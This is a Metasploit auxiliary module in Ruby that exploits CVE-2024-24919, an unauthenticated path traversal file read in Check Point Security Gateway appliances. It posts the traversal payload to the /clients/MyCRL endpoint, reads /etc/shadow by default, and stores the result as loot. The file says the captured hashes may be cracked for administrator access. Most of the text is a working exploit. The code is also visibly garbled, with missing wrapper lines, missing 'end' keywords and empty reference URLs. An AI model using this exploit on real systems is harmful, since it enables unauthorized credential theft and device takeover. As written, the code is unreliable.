# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
        'Name' => 'Check Point Security Gateway Arbitrary File Read',
        'Description' => %q{
          This module leverages an unauthenticated arbitrary root file read vulnerability for
          Check Point Security Gateway appliances. When the IPSec VPN or Mobile Access blades
          are enabled on affected devices, traversal payloads can be used to read any files on
          the local file system. Password hashes read from disk may be cracked, potentially
          resulting in administrator-level access to the target device. This vulnerability is
          tracked as CVE-2024-24919.
        'Author' => [ 'remmons-r7' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          # At the time of module development, no IOCs for this local file disclosure are known
          'SideEffects' => [],
          'Reliability' => []
        'DefaultOptions' => { 'SSL' => true },
        'References' => [
          # Vendor advisory
          [ 'URL', '' ],
          # Rapid7 ETR advisory for CVE-2024-24919
          [ 'URL', '' ],
          # Publication of first proof-of-concept exploit
          [ 'URL', '' ]

        Opt::RPORT(443),'STORE_LOOT', [true, 'Store the target file as loot', false]),'TARGETFILE', [true, 'The target file to read. This should be a full Linux file path. Files containing binary data may not be read accurately', '/etc/shadow']),'TARGETURI', [true, 'The URI path to Check Point Security Gateway', '/'])

  def check
    # Attempt to read the /etc/group file (used in check due to lower likelihood of being flagged vs something like /etc/shadow)
    res_file = read_file('/etc/group')

    # Check for connection failure
    return Msf::Exploit::CheckCode::Unknown('Connection failed - unable to complete web request') unless res_file

    # If the response body includes the string "root", we can assume the target is vulnerable
    unless res_file.body.include?('root')
      return Msf::Exploit::CheckCode::Safe('Arbitrary file read failed - the target did not respond with the requested file')

    Msf::Exploit::CheckCode::Vulnerable('Arbitrary file read successful!')

  def run
    # After the auto check confirms the target is vulnerable, attempt to leak the specified target file
    file_name = datastore['TARGETFILE']
    res_read_file = read_file(file_name)

    # Check for connection failure
    fail_with(Failure::Unknown, 'Connection failed - unable to complete web request') unless res_read_file

    # If the response indicates that the target file does not exist, fail with NotFound
    if (res_read_file&.code == 404) || (res_read_file.body.include? 'The URL you requested could not be found on this server.')
      fail_with(Failure::NotFound, 'The requested file was not found - the target file does not exist or the system cannot read it')

    # If the vulnerable server responds with a status other than the expected 200 or 404 (for example, a WAF 403), fail with UnexpectedReply
    if res_read_file&.code != 200
      fail_with(Failure::UnexpectedReply, "The application did not respond with a 200 as expected - the HTTP response code was: #{res_read_file&.code}")

    # Assign variable with file contents, then store the file in loot or print the contents
    file_data = res_read_file.body

    if datastore['STORE_LOOT']
      store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'File read from Check Point Security Gateway server')
      print_good('Stored the file data to loot...')
      # A new line is sent before file contents for better readability
      print_good("File read succeeded! \n#{file_data}")

  # Performs a POST request with a traversal payload in the body
  # Responses should either be a 200 with only the file contents in the body or a 404 for files that do not exist
  def read_file(fname)
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'clients', 'MyCRL'),
        'headers' => { 'Connection' => 'close' },
        'data' => "aCSHELL/../../../../../../../../../..#{fname}"